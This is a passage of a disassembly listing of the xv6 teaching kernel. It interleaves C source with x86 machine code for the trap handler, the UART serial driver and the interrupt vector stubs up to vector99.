//PAGEBREAK: 41
void
trap(struct trapframe *tf)
{
if(tf->trapno == T_SYSCALL){
if(proc->killed)
80105948: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010594e: 8b 70 24 mov 0x24(%eax),%esi
80105951: 85 f6 test %esi,%esi
80105953: 0f 85 a7 00 00 00 jne 80105a00 <trap+0x1d0>
exit();
proc->tf = tf;
80105959: 89 58 18 mov %ebx,0x18(%eax)
syscall();
8010595c: e8 bf ef ff ff call 80104920 <syscall>
if(proc->killed)
80105961: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105967: 8b 58 24 mov 0x24(%eax),%ebx
8010596a: 85 db test %ebx,%ebx
8010596c: 0f 84 30 ff ff ff je 801058a2 <trap+0x72>
yield();
// Check if the process has been killed since we yielded
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
exit();
}
80105972: 83 c4 2c add $0x2c,%esp
80105975: 5b pop %ebx
80105976: 5e pop %esi
80105977: 5f pop %edi
80105978: 5d pop %ebp
if(proc->killed)
exit();
proc->tf = tf;
syscall();
if(proc->killed)
exit();
80105979: e9 a2 e3 ff ff jmp 80103d20 <exit>
8010597e: 66 90 xchg %ax,%ax
break;
case T_IRQ0 + IRQ_IDE+1:
// Bochs generates spurious IDE1 interrupts.
break;
case T_IRQ0 + IRQ_KBD:
kbdintr();
80105980: e8 4b cc ff ff call 801025d0 <kbdintr>
lapiceoi();
80105985: e8 76 ce ff ff call 80102800 <lapiceoi>
8010598a: 65 a1 04 00 00 00 mov %gs:0x4,%eax
break;
80105990: e9 dc fe ff ff jmp 80105871 <trap+0x41>
80105995: 8d 76 00 lea 0x0(%esi),%esi
release(&tickslock);
}
lapiceoi();
break;
case T_IRQ0 + IRQ_IDE:
ideintr();
80105998: e8 e3 c6 ff ff call 80102080 <ideintr>
lapiceoi();
8010599d: e8 5e ce ff ff call 80102800 <lapiceoi>
801059a2: 65 a1 04 00 00 00 mov %gs:0x4,%eax
break;
801059a8: e9 c4 fe ff ff jmp 80105871 <trap+0x41>
801059ad: 8d 76 00 lea 0x0(%esi),%esi
case T_IRQ0 + IRQ_KBD:
kbdintr();
lapiceoi();
break;
case T_IRQ0 + IRQ_COM1:
uartintr();
801059b0: e8 1b 02 00 00 call 80105bd0 <uartintr>
lapiceoi();
801059b5: e8 46 ce ff ff call 80102800 <lapiceoi>
801059ba: 65 a1 04 00 00 00 mov %gs:0x4,%eax
break;
801059c0: e9 ac fe ff ff jmp 80105871 <trap+0x41>
801059c5: 8d 76 00 lea 0x0(%esi),%esi
case T_IRQ0 + 7:
case T_IRQ0 + IRQ_SPURIOUS:
cprintf("cpu%d: spurious interrupt at %x:%x\n",
801059c8: 8b 7b 38 mov 0x38(%ebx),%edi
801059cb: 0f b7 73 3c movzwl 0x3c(%ebx),%esi
801059cf: e8 8c cd ff ff call 80102760 <cpunum>
801059d4: c7 04 24 b0 77 10 80 movl $0x801077b0,(%esp)
801059db: 89 7c 24 0c mov %edi,0xc(%esp)
801059df: 89 74 24 08 mov %esi,0x8(%esp)
801059e3: 89 44 24 04 mov %eax,0x4(%esp)
801059e7: e8 64 ac ff ff call 80100650 <cprintf>
cpunum(), tf->cs, tf->eip);
lapiceoi();
801059ec: e8 0f ce ff ff call 80102800 <lapiceoi>
801059f1: 65 a1 04 00 00 00 mov %gs:0x4,%eax
break;
801059f7: e9 75 fe ff ff jmp 80105871 <trap+0x41>
801059fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
void
trap(struct trapframe *tf)
{
if(tf->trapno == T_SYSCALL){
if(proc->killed)
exit();
80105a00: e8 1b e3 ff ff call 80103d20 <exit>
80105a05: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105a0b: e9 49 ff ff ff jmp 80105959 <trap+0x129>
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
exit();
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(proc && proc->state == RUNNING && tf->trapno == T_IRQ0+IRQ_TIMER)
80105a10: 83 7b 30 20 cmpl $0x20,0x30(%ebx)
80105a14: 0f 85 70 fe ff ff jne 8010588a <trap+0x5a>
yield();
80105a1a: e8 41 e4 ff ff call 80103e60 <yield>
// Check if the process has been killed since we yielded
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
80105a1f: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105a25: 85 c0 test %eax,%eax
80105a27: 0f 85 5d fe ff ff jne 8010588a <trap+0x5a>
80105a2d: e9 70 fe ff ff jmp 801058a2 <trap+0x72>
80105a32: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
}
switch(tf->trapno){
case T_IRQ0 + IRQ_TIMER:
if(cpunum() == 0){
acquire(&tickslock);
80105a38: c7 04 24 e0 54 11 80 movl $0x801154e0,(%esp)
80105a3f: e8 5c e9 ff ff call 801043a0 <acquire>
ticks++;
wakeup(&ticks);
80105a44: c7 04 24 20 5d 11 80 movl $0x80115d20,(%esp)
switch(tf->trapno){
case T_IRQ0 + IRQ_TIMER:
if(cpunum() == 0){
acquire(&tickslock);
ticks++;
80105a4b: 83 05 20 5d 11 80 01 addl $0x1,0x80115d20
wakeup(&ticks);
80105a52: e8 f9 e5 ff ff call 80104050 <wakeup>
release(&tickslock);
80105a57: c7 04 24 e0 54 11 80 movl $0x801154e0,(%esp)
80105a5e: e8 6d ea ff ff call 801044d0 <release>
80105a63: e9 fe fd ff ff jmp 80105866 <trap+0x36>
80105a68: 0f 20 d7 mov %cr2,%edi
//PAGEBREAK: 13
default:
if(proc == 0 || (tf->cs&3) == 0){
// In kernel, it must be our mistake.
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
80105a6b: 8b 73 38 mov 0x38(%ebx),%esi
80105a6e: e8 ed cc ff ff call 80102760 <cpunum>
80105a73: 89 7c 24 10 mov %edi,0x10(%esp)
80105a77: 89 74 24 0c mov %esi,0xc(%esp)
80105a7b: 89 44 24 08 mov %eax,0x8(%esp)
80105a7f: 8b 43 30 mov 0x30(%ebx),%eax
80105a82: c7 04 24 d4 77 10 80 movl $0x801077d4,(%esp)
80105a89: 89 44 24 04 mov %eax,0x4(%esp)
80105a8d: e8 be ab ff ff call 80100650 <cprintf>
tf->trapno, cpunum(), tf->eip, rcr2());
panic("trap");
80105a92: c7 04 24 aa 77 10 80 movl $0x801077aa,(%esp)
80105a99: e8 c2 a8 ff ff call 80100360 <panic>
80105a9e: 66 90 xchg %ax,%ax
80105aa0 <uartgetc>:
}
static int
uartgetc(void)
{
if(!uart)
80105aa0: a1 c0 a5 10 80 mov 0x8010a5c0,%eax
outb(COM1+0, c);
}
static int
uartgetc(void)
{
80105aa5: 55 push %ebp
80105aa6: 89 e5 mov %esp,%ebp
if(!uart)
80105aa8: 85 c0 test %eax,%eax
80105aaa: 74 14 je 80105ac0 <uartgetc+0x20>
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80105aac: ba fd 03 00 00 mov $0x3fd,%edx
80105ab1: ec in (%dx),%al
return -1;
if(!(inb(COM1+5) & 0x01))
80105ab2: a8 01 test $0x1,%al
80105ab4: 74 0a je 80105ac0 <uartgetc+0x20>
80105ab6: b2 f8 mov $0xf8,%dl
80105ab8: ec in (%dx),%al
return -1;
return inb(COM1+0);
80105ab9: 0f b6 c0 movzbl %al,%eax
}
80105abc: 5d pop %ebp
80105abd: c3 ret
80105abe: 66 90 xchg %ax,%ax
static int
uartgetc(void)
{
if(!uart)
return -1;
80105ac0: b8 ff ff ff ff mov $0xffffffff,%eax
if(!(inb(COM1+5) & 0x01))
return -1;
return inb(COM1+0);
}
80105ac5: 5d pop %ebp
80105ac6: c3 ret
80105ac7: 89 f6 mov %esi,%esi
80105ac9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105ad0 <uartputc>:
void
uartputc(int c)
{
int i;
if(!uart)
80105ad0: a1 c0 a5 10 80 mov 0x8010a5c0,%eax
80105ad5: 85 c0 test %eax,%eax
80105ad7: 74 3f je 80105b18 <uartputc+0x48>
uartputc(*p);
}
void
uartputc(int c)
{
80105ad9: 55 push %ebp
80105ada: 89 e5 mov %esp,%ebp
80105adc: 56 push %esi
80105add: be fd 03 00 00 mov $0x3fd,%esi
80105ae2: 53 push %ebx
int i;
if(!uart)
80105ae3: bb 80 00 00 00 mov $0x80,%ebx
uartputc(*p);
}
void
uartputc(int c)
{
80105ae8: 83 ec 10 sub $0x10,%esp
80105aeb: eb 14 jmp 80105b01 <uartputc+0x31>
80105aed: 8d 76 00 lea 0x0(%esi),%esi
int i;
if(!uart)
return;
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
microdelay(10);
80105af0: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
80105af7: e8 24 cd ff ff call 80102820 <microdelay>
{
int i;
if(!uart)
return;
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
80105afc: 83 eb 01 sub $0x1,%ebx
80105aff: 74 07 je 80105b08 <uartputc+0x38>
80105b01: 89 f2 mov %esi,%edx
80105b03: ec in (%dx),%al
80105b04: a8 20 test $0x20,%al
80105b06: 74 e8 je 80105af0 <uartputc+0x20>
microdelay(10);
outb(COM1+0, c);
80105b08: 0f b6 45 08 movzbl 0x8(%ebp),%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80105b0c: ba f8 03 00 00 mov $0x3f8,%edx
80105b11: ee out %al,(%dx)
}
80105b12: 83 c4 10 add $0x10,%esp
80105b15: 5b pop %ebx
80105b16: 5e pop %esi
80105b17: 5d pop %ebp
80105b18: f3 c3 repz ret
80105b1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80105b20 <uartinit>:
static int uart; // is there a uart?
void
uartinit(void)
{
80105b20: 55 push %ebp
80105b21: 31 c9 xor %ecx,%ecx
80105b23: 89 e5 mov %esp,%ebp
80105b25: 89 c8 mov %ecx,%eax
80105b27: 57 push %edi
80105b28: bf fa 03 00 00 mov $0x3fa,%edi
80105b2d: 56 push %esi
80105b2e: 89 fa mov %edi,%edx
80105b30: 53 push %ebx
80105b31: 83 ec 1c sub $0x1c,%esp
80105b34: ee out %al,(%dx)
80105b35: be fb 03 00 00 mov $0x3fb,%esi
80105b3a: b8 80 ff ff ff mov $0xffffff80,%eax
80105b3f: 89 f2 mov %esi,%edx
80105b41: ee out %al,(%dx)
80105b42: b8 0c 00 00 00 mov $0xc,%eax
80105b47: b2 f8 mov $0xf8,%dl
80105b49: ee out %al,(%dx)
80105b4a: bb f9 03 00 00 mov $0x3f9,%ebx
80105b4f: 89 c8 mov %ecx,%eax
80105b51: 89 da mov %ebx,%edx
80105b53: ee out %al,(%dx)
80105b54: b8 03 00 00 00 mov $0x3,%eax
80105b59: 89 f2 mov %esi,%edx
80105b5b: ee out %al,(%dx)
80105b5c: b2 fc mov $0xfc,%dl
80105b5e: 89 c8 mov %ecx,%eax
80105b60: ee out %al,(%dx)
80105b61: b8 01 00 00 00 mov $0x1,%eax
80105b66: 89 da mov %ebx,%edx
80105b68: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80105b69: b2 fd mov $0xfd,%dl
80105b6b: ec in (%dx),%al
outb(COM1+3, 0x03); // Lock divisor, 8 data bits.
outb(COM1+4, 0);
outb(COM1+1, 0x01); // Enable receive interrupts.
// If status is 0xFF, no serial port.
if(inb(COM1+5) == 0xFF)
80105b6c: 3c ff cmp $0xff,%al
80105b6e: 74 52 je 80105bc2 <uartinit+0xa2>
return;
uart = 1;
80105b70: c7 05 c0 a5 10 80 01 movl $0x1,0x8010a5c0
80105b77: 00 00 00
80105b7a: 89 fa mov %edi,%edx
80105b7c: ec in (%dx),%al
80105b7d: b2 f8 mov $0xf8,%dl
80105b7f: ec in (%dx),%al
// Acknowledge pre-existing interrupt conditions;
// enable interrupts.
inb(COM1+2);
inb(COM1+0);
picenable(IRQ_COM1);
80105b80: c7 04 24 04 00 00 00 movl $0x4,(%esp)
ioapicenable(IRQ_COM1, 0);
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80105b87: bb cc 78 10 80 mov $0x801078cc,%ebx
// Acknowledge pre-existing interrupt conditions;
// enable interrupts.
inb(COM1+2);
inb(COM1+0);
picenable(IRQ_COM1);
80105b8c: e8 6f d6 ff ff call 80103200 <picenable>
ioapicenable(IRQ_COM1, 0);
80105b91: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105b98: 00
80105b99: c7 04 24 04 00 00 00 movl $0x4,(%esp)
80105ba0: e8 0b c7 ff ff call 801022b0 <ioapicenable>
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80105ba5: b8 78 00 00 00 mov $0x78,%eax
80105baa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
uartputc(*p);
80105bb0: 89 04 24 mov %eax,(%esp)
inb(COM1+0);
picenable(IRQ_COM1);
ioapicenable(IRQ_COM1, 0);
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80105bb3: 83 c3 01 add $0x1,%ebx
uartputc(*p);
80105bb6: e8 15 ff ff ff call 80105ad0 <uartputc>
inb(COM1+0);
picenable(IRQ_COM1);
ioapicenable(IRQ_COM1, 0);
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80105bbb: 0f be 03 movsbl (%ebx),%eax
80105bbe: 84 c0 test %al,%al
80105bc0: 75 ee jne 80105bb0 <uartinit+0x90>
uartputc(*p);
}
80105bc2: 83 c4 1c add $0x1c,%esp
80105bc5: 5b pop %ebx
80105bc6: 5e pop %esi
80105bc7: 5f pop %edi
80105bc8: 5d pop %ebp
80105bc9: c3 ret
80105bca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80105bd0 <uartintr>:
return inb(COM1+0);
}
void
uartintr(void)
{
80105bd0: 55 push %ebp
80105bd1: 89 e5 mov %esp,%ebp
80105bd3: 83 ec 18 sub $0x18,%esp
consoleintr(uartgetc);
80105bd6: c7 04 24 a0 5a 10 80 movl $0x80105aa0,(%esp)
80105bdd: e8 ce ab ff ff call 801007b0 <consoleintr>
}
80105be2: c9 leave
80105be3: c3 ret
80105be4 <vector0>:
80105be4: 6a 00 push $0x0
80105be6: 6a 00 push $0x0
80105be8: e9 40 fb ff ff jmp 8010572d <alltraps>
80105bed <vector1>:
80105bed: 6a 00 push $0x0
80105bef: 6a 01 push $0x1
80105bf1: e9 37 fb ff ff jmp 8010572d <alltraps>
80105bf6 <vector2>:
80105bf6: 6a 00 push $0x0
80105bf8: 6a 02 push $0x2
80105bfa: e9 2e fb ff ff jmp 8010572d <alltraps>
80105bff <vector3>:
80105bff: 6a 00 push $0x0
80105c01: 6a 03 push $0x3
80105c03: e9 25 fb ff ff jmp 8010572d <alltraps>
80105c08 <vector4>:
80105c08: 6a 00 push $0x0
80105c0a: 6a 04 push $0x4
80105c0c: e9 1c fb ff ff jmp 8010572d <alltraps>
80105c11 <vector5>:
80105c11: 6a 00 push $0x0
80105c13: 6a 05 push $0x5
80105c15: e9 13 fb ff ff jmp 8010572d <alltraps>
80105c1a <vector6>:
80105c1a: 6a 00 push $0x0
80105c1c: 6a 06 push $0x6
80105c1e: e9 0a fb ff ff jmp 8010572d <alltraps>
80105c23 <vector7>:
80105c23: 6a 00 push $0x0
80105c25: 6a 07 push $0x7
80105c27: e9 01 fb ff ff jmp 8010572d <alltraps>
80105c2c <vector8>:
80105c2c: 6a 08 push $0x8
80105c2e: e9 fa fa ff ff jmp 8010572d <alltraps>
80105c33 <vector9>:
80105c33: 6a 00 push $0x0
80105c35: 6a 09 push $0x9
80105c37: e9 f1 fa ff ff jmp 8010572d <alltraps>
80105c3c <vector10>:
80105c3c: 6a 0a push $0xa
80105c3e: e9 ea fa ff ff jmp 8010572d <alltraps>
80105c43 <vector11>:
80105c43: 6a 0b push $0xb
80105c45: e9 e3 fa ff ff jmp 8010572d <alltraps>
80105c4a <vector12>:
80105c4a: 6a 0c push $0xc
80105c4c: e9 dc fa ff ff jmp 8010572d <alltraps>
80105c51 <vector13>:
80105c51: 6a 0d push $0xd
80105c53: e9 d5 fa ff ff jmp 8010572d <alltraps>
80105c58 <vector14>:
80105c58: 6a 0e push $0xe
80105c5a: e9 ce fa ff ff jmp 8010572d <alltraps>
80105c5f <vector15>:
80105c5f: 6a 00 push $0x0
80105c61: 6a 0f push $0xf
80105c63: e9 c5 fa ff ff jmp 8010572d <alltraps>
80105c68 <vector16>:
80105c68: 6a 00 push $0x0
80105c6a: 6a 10 push $0x10
80105c6c: e9 bc fa ff ff jmp 8010572d <alltraps>
80105c71 <vector17>:
80105c71: 6a 11 push $0x11
80105c73: e9 b5 fa ff ff jmp 8010572d <alltraps>
80105c78 <vector18>:
80105c78: 6a 00 push $0x0
80105c7a: 6a 12 push $0x12
80105c7c: e9 ac fa ff ff jmp 8010572d <alltraps>
80105c81 <vector19>:
80105c81: 6a 00 push $0x0
80105c83: 6a 13 push $0x13
80105c85: e9 a3 fa ff ff jmp 8010572d <alltraps>
80105c8a <vector20>:
80105c8a: 6a 00 push $0x0
80105c8c: 6a 14 push $0x14
80105c8e: e9 9a fa ff ff jmp 8010572d <alltraps>
80105c93 <vector21>:
80105c93: 6a 00 push $0x0
80105c95: 6a 15 push $0x15
80105c97: e9 91 fa ff ff jmp 8010572d <alltraps>
80105c9c <vector22>:
80105c9c: 6a 00 push $0x0
80105c9e: 6a 16 push $0x16
80105ca0: e9 88 fa ff ff jmp 8010572d <alltraps>
80105ca5 <vector23>:
80105ca5: 6a 00 push $0x0
80105ca7: 6a 17 push $0x17
80105ca9: e9 7f fa ff ff jmp 8010572d <alltraps>
80105cae <vector24>:
80105cae: 6a 00 push $0x0
80105cb0: 6a 18 push $0x18
80105cb2: e9 76 fa ff ff jmp 8010572d <alltraps>
80105cb7 <vector25>:
80105cb7: 6a 00 push $0x0
80105cb9: 6a 19 push $0x19
80105cbb: e9 6d fa ff ff jmp 8010572d <alltraps>
80105cc0 <vector26>:
80105cc0: 6a 00 push $0x0
80105cc2: 6a 1a push $0x1a
80105cc4: e9 64 fa ff ff jmp 8010572d <alltraps>
80105cc9 <vector27>:
80105cc9: 6a 00 push $0x0
80105ccb: 6a 1b push $0x1b
80105ccd: e9 5b fa ff ff jmp 8010572d <alltraps>
80105cd2 <vector28>:
80105cd2: 6a 00 push $0x0
80105cd4: 6a 1c push $0x1c
80105cd6: e9 52 fa ff ff jmp 8010572d <alltraps>
80105cdb <vector29>:
80105cdb: 6a 00 push $0x0
80105cdd: 6a 1d push $0x1d
80105cdf: e9 49 fa ff ff jmp 8010572d <alltraps>
80105ce4 <vector30>:
80105ce4: 6a 00 push $0x0
80105ce6: 6a 1e push $0x1e
80105ce8: e9 40 fa ff ff jmp 8010572d <alltraps>
80105ced <vector31>:
80105ced: 6a 00 push $0x0
80105cef: 6a 1f push $0x1f
80105cf1: e9 37 fa ff ff jmp 8010572d <alltraps>
80105cf6 <vector32>:
80105cf6: 6a 00 push $0x0
80105cf8: 6a 20 push $0x20
80105cfa: e9 2e fa ff ff jmp 8010572d <alltraps>
80105cff <vector33>:
80105cff: 6a 00 push $0x0
80105d01: 6a 21 push $0x21
80105d03: e9 25 fa ff ff jmp 8010572d <alltraps>
80105d08 <vector34>:
80105d08: 6a 00 push $0x0
80105d0a: 6a 22 push $0x22
80105d0c: e9 1c fa ff ff jmp 8010572d <alltraps>
80105d11 <vector35>:
80105d11: 6a 00 push $0x0
80105d13: 6a 23 push $0x23
80105d15: e9 13 fa ff ff jmp 8010572d <alltraps>
80105d1a <vector36>:
80105d1a: 6a 00 push $0x0
80105d1c: 6a 24 push $0x24
80105d1e: e9 0a fa ff ff jmp 8010572d <alltraps>
80105d23 <vector37>:
80105d23: 6a 00 push $0x0
80105d25: 6a 25 push $0x25
80105d27: e9 01 fa ff ff jmp 8010572d <alltraps>
80105d2c <vector38>:
80105d2c: 6a 00 push $0x0
80105d2e: 6a 26 push $0x26
80105d30: e9 f8 f9 ff ff jmp 8010572d <alltraps>
80105d35 <vector39>:
80105d35: 6a 00 push $0x0
80105d37: 6a 27 push $0x27
80105d39: e9 ef f9 ff ff jmp 8010572d <alltraps>
80105d3e <vector40>:
80105d3e: 6a 00 push $0x0
80105d40: 6a 28 push $0x28
80105d42: e9 e6 f9 ff ff jmp 8010572d <alltraps>
80105d47 <vector41>:
80105d47: 6a 00 push $0x0
80105d49: 6a 29 push $0x29
80105d4b: e9 dd f9 ff ff jmp 8010572d <alltraps>
80105d50 <vector42>:
80105d50: 6a 00 push $0x0
80105d52: 6a 2a push $0x2a
80105d54: e9 d4 f9 ff ff jmp 8010572d <alltraps>
80105d59 <vector43>:
80105d59: 6a 00 push $0x0
80105d5b: 6a 2b push $0x2b
80105d5d: e9 cb f9 ff ff jmp 8010572d <alltraps>
80105d62 <vector44>:
80105d62: 6a 00 push $0x0
80105d64: 6a 2c push $0x2c
80105d66: e9 c2 f9 ff ff jmp 8010572d <alltraps>
80105d6b <vector45>:
80105d6b: 6a 00 push $0x0
80105d6d: 6a 2d push $0x2d
80105d6f: e9 b9 f9 ff ff jmp 8010572d <alltraps>
80105d74 <vector46>:
80105d74: 6a 00 push $0x0
80105d76: 6a 2e push $0x2e
80105d78: e9 b0 f9 ff ff jmp 8010572d <alltraps>
80105d7d <vector47>:
80105d7d: 6a 00 push $0x0
80105d7f: 6a 2f push $0x2f
80105d81: e9 a7 f9 ff ff jmp 8010572d <alltraps>
80105d86 <vector48>:
80105d86: 6a 00 push $0x0
80105d88: 6a 30 push $0x30
80105d8a: e9 9e f9 ff ff jmp 8010572d <alltraps>
80105d8f <vector49>:
80105d8f: 6a 00 push $0x0
80105d91: 6a 31 push $0x31
80105d93: e9 95 f9 ff ff jmp 8010572d <alltraps>
80105d98 <vector50>:
80105d98: 6a 00 push $0x0
80105d9a: 6a 32 push $0x32
80105d9c: e9 8c f9 ff ff jmp 8010572d <alltraps>
80105da1 <vector51>:
80105da1: 6a 00 push $0x0
80105da3: 6a 33 push $0x33
80105da5: e9 83 f9 ff ff jmp 8010572d <alltraps>
80105daa <vector52>:
80105daa: 6a 00 push $0x0
80105dac: 6a 34 push $0x34
80105dae: e9 7a f9 ff ff jmp 8010572d <alltraps>
80105db3 <vector53>:
80105db3: 6a 00 push $0x0
80105db5: 6a 35 push $0x35
80105db7: e9 71 f9 ff ff jmp 8010572d <alltraps>
80105dbc <vector54>:
80105dbc: 6a 00 push $0x0
80105dbe: 6a 36 push $0x36
80105dc0: e9 68 f9 ff ff jmp 8010572d <alltraps>
80105dc5 <vector55>:
80105dc5: 6a 00 push $0x0
80105dc7: 6a 37 push $0x37
80105dc9: e9 5f f9 ff ff jmp 8010572d <alltraps>
80105dce <vector56>:
80105dce: 6a 00 push $0x0
80105dd0: 6a 38 push $0x38
80105dd2: e9 56 f9 ff ff jmp 8010572d <alltraps>
80105dd7 <vector57>:
80105dd7: 6a 00 push $0x0
80105dd9: 6a 39 push $0x39
80105ddb: e9 4d f9 ff ff jmp 8010572d <alltraps>
80105de0 <vector58>:
80105de0: 6a 00 push $0x0
80105de2: 6a 3a push $0x3a
80105de4: e9 44 f9 ff ff jmp 8010572d <alltraps>
80105de9 <vector59>:
80105de9: 6a 00 push $0x0
80105deb: 6a 3b push $0x3b
80105ded: e9 3b f9 ff ff jmp 8010572d <alltraps>
80105df2 <vector60>:
80105df2: 6a 00 push $0x0
80105df4: 6a 3c push $0x3c
80105df6: e9 32 f9 ff ff jmp 8010572d <alltraps>
80105dfb <vector61>:
80105dfb: 6a 00 push $0x0
80105dfd: 6a 3d push $0x3d
80105dff: e9 29 f9 ff ff jmp 8010572d <alltraps>
80105e04 <vector62>:
80105e04: 6a 00 push $0x0
80105e06: 6a 3e push $0x3e
80105e08: e9 20 f9 ff ff jmp 8010572d <alltraps>
80105e0d <vector63>:
80105e0d: 6a 00 push $0x0
80105e0f: 6a 3f push $0x3f
80105e11: e9 17 f9 ff ff jmp 8010572d <alltraps>
80105e16 <vector64>:
80105e16: 6a 00 push $0x0
80105e18: 6a 40 push $0x40
80105e1a: e9 0e f9 ff ff jmp 8010572d <alltraps>
80105e1f <vector65>:
80105e1f: 6a 00 push $0x0
80105e21: 6a 41 push $0x41
80105e23: e9 05 f9 ff ff jmp 8010572d <alltraps>
80105e28 <vector66>:
80105e28: 6a 00 push $0x0
80105e2a: 6a 42 push $0x42
80105e2c: e9 fc f8 ff ff jmp 8010572d <alltraps>
80105e31 <vector67>:
80105e31: 6a 00 push $0x0
80105e33: 6a 43 push $0x43
80105e35: e9 f3 f8 ff ff jmp 8010572d <alltraps>
80105e3a <vector68>:
80105e3a: 6a 00 push $0x0
80105e3c: 6a 44 push $0x44
80105e3e: e9 ea f8 ff ff jmp 8010572d <alltraps>
80105e43 <vector69>:
80105e43: 6a 00 push $0x0
80105e45: 6a 45 push $0x45
80105e47: e9 e1 f8 ff ff jmp 8010572d <alltraps>
80105e4c <vector70>:
80105e4c: 6a 00 push $0x0
80105e4e: 6a 46 push $0x46
80105e50: e9 d8 f8 ff ff jmp 8010572d <alltraps>
80105e55 <vector71>:
80105e55: 6a 00 push $0x0
80105e57: 6a 47 push $0x47
80105e59: e9 cf f8 ff ff jmp 8010572d <alltraps>
80105e5e <vector72>:
80105e5e: 6a 00 push $0x0
80105e60: 6a 48 push $0x48
80105e62: e9 c6 f8 ff ff jmp 8010572d <alltraps>
80105e67 <vector73>:
80105e67: 6a 00 push $0x0
80105e69: 6a 49 push $0x49
80105e6b: e9 bd f8 ff ff jmp 8010572d <alltraps>
80105e70 <vector74>:
80105e70: 6a 00 push $0x0
80105e72: 6a 4a push $0x4a
80105e74: e9 b4 f8 ff ff jmp 8010572d <alltraps>
80105e79 <vector75>:
80105e79: 6a 00 push $0x0
80105e7b: 6a 4b push $0x4b
80105e7d: e9 ab f8 ff ff jmp 8010572d <alltraps>
80105e82 <vector76>:
80105e82: 6a 00 push $0x0
80105e84: 6a 4c push $0x4c
80105e86: e9 a2 f8 ff ff jmp 8010572d <alltraps>
80105e8b <vector77>:
80105e8b: 6a 00 push $0x0
80105e8d: 6a 4d push $0x4d
80105e8f: e9 99 f8 ff ff jmp 8010572d <alltraps>
80105e94 <vector78>:
80105e94: 6a 00 push $0x0
80105e96: 6a 4e push $0x4e
80105e98: e9 90 f8 ff ff jmp 8010572d <alltraps>
80105e9d <vector79>:
80105e9d: 6a 00 push $0x0
80105e9f: 6a 4f push $0x4f
80105ea1: e9 87 f8 ff ff jmp 8010572d <alltraps>
80105ea6 <vector80>:
80105ea6: 6a 00 push $0x0
80105ea8: 6a 50 push $0x50
80105eaa: e9 7e f8 ff ff jmp 8010572d <alltraps>
80105eaf <vector81>:
80105eaf: 6a 00 push $0x0
80105eb1: 6a 51 push $0x51
80105eb3: e9 75 f8 ff ff jmp 8010572d <alltraps>
80105eb8 <vector82>:
80105eb8: 6a 00 push $0x0
80105eba: 6a 52 push $0x52
80105ebc: e9 6c f8 ff ff jmp 8010572d <alltraps>
80105ec1 <vector83>:
80105ec1: 6a 00 push $0x0
80105ec3: 6a 53 push $0x53
80105ec5: e9 63 f8 ff ff jmp 8010572d <alltraps>
80105eca <vector84>:
80105eca: 6a 00 push $0x0
80105ecc: 6a 54 push $0x54
80105ece: e9 5a f8 ff ff jmp 8010572d <alltraps>
80105ed3 <vector85>:
80105ed3: 6a 00 push $0x0
80105ed5: 6a 55 push $0x55
80105ed7: e9 51 f8 ff ff jmp 8010572d <alltraps>
80105edc <vector86>:
80105edc: 6a 00 push $0x0
80105ede: 6a 56 push $0x56
80105ee0: e9 48 f8 ff ff jmp 8010572d <alltraps>
80105ee5 <vector87>:
80105ee5: 6a 00 push $0x0
80105ee7: 6a 57 push $0x57
80105ee9: e9 3f f8 ff ff jmp 8010572d <alltraps>
80105eee <vector88>:
80105eee: 6a 00 push $0x0
80105ef0: 6a 58 push $0x58
80105ef2: e9 36 f8 ff ff jmp 8010572d <alltraps>
80105ef7 <vector89>:
80105ef7: 6a 00 push $0x0
80105ef9: 6a 59 push $0x59
80105efb: e9 2d f8 ff ff jmp 8010572d <alltraps>
80105f00 <vector90>:
80105f00: 6a 00 push $0x0
80105f02: 6a 5a push $0x5a
80105f04: e9 24 f8 ff ff jmp 8010572d <alltraps>
80105f09 <vector91>:
80105f09: 6a 00 push $0x0
80105f0b: 6a 5b push $0x5b
80105f0d: e9 1b f8 ff ff jmp 8010572d <alltraps>
80105f12 <vector92>:
80105f12: 6a 00 push $0x0
80105f14: 6a 5c push $0x5c
80105f16: e9 12 f8 ff ff jmp 8010572d <alltraps>
80105f1b <vector93>:
80105f1b: 6a 00 push $0x0
80105f1d: 6a 5d push $0x5d
80105f1f: e9 09 f8 ff ff jmp 8010572d <alltraps>
80105f24 <vector94>:
80105f24: 6a 00 push $0x0
80105f26: 6a 5e push $0x5e
80105f28: e9 00 f8 ff ff jmp 8010572d <alltraps>
80105f2d <vector95>:
80105f2d: 6a 00 push $0x0
80105f2f: 6a 5f push $0x5f
80105f31: e9 f7 f7 ff ff jmp 8010572d <alltraps>
80105f36 <vector96>:
80105f36: 6a 00 push $0x0
80105f38: 6a 60 push $0x60
80105f3a: e9 ee f7 ff ff jmp 8010572d <alltraps>
80105f3f <vector97>:
80105f3f: 6a 00 push $0x0
80105f41: 6a 61 push $0x61
80105f43: e9 e5 f7 ff ff jmp 8010572d <alltraps>
80105f48 <vector98>:
80105f48: 6a 00 push $0x0
80105f4a: 6a 62 push $0x62
80105f4c: e9 dc f7 ff ff jmp 8010572d <alltraps>
80105f51 <vector99>:
80105f51: 6a 00 push $0x0
80105f53: 6a 63 push $0x63
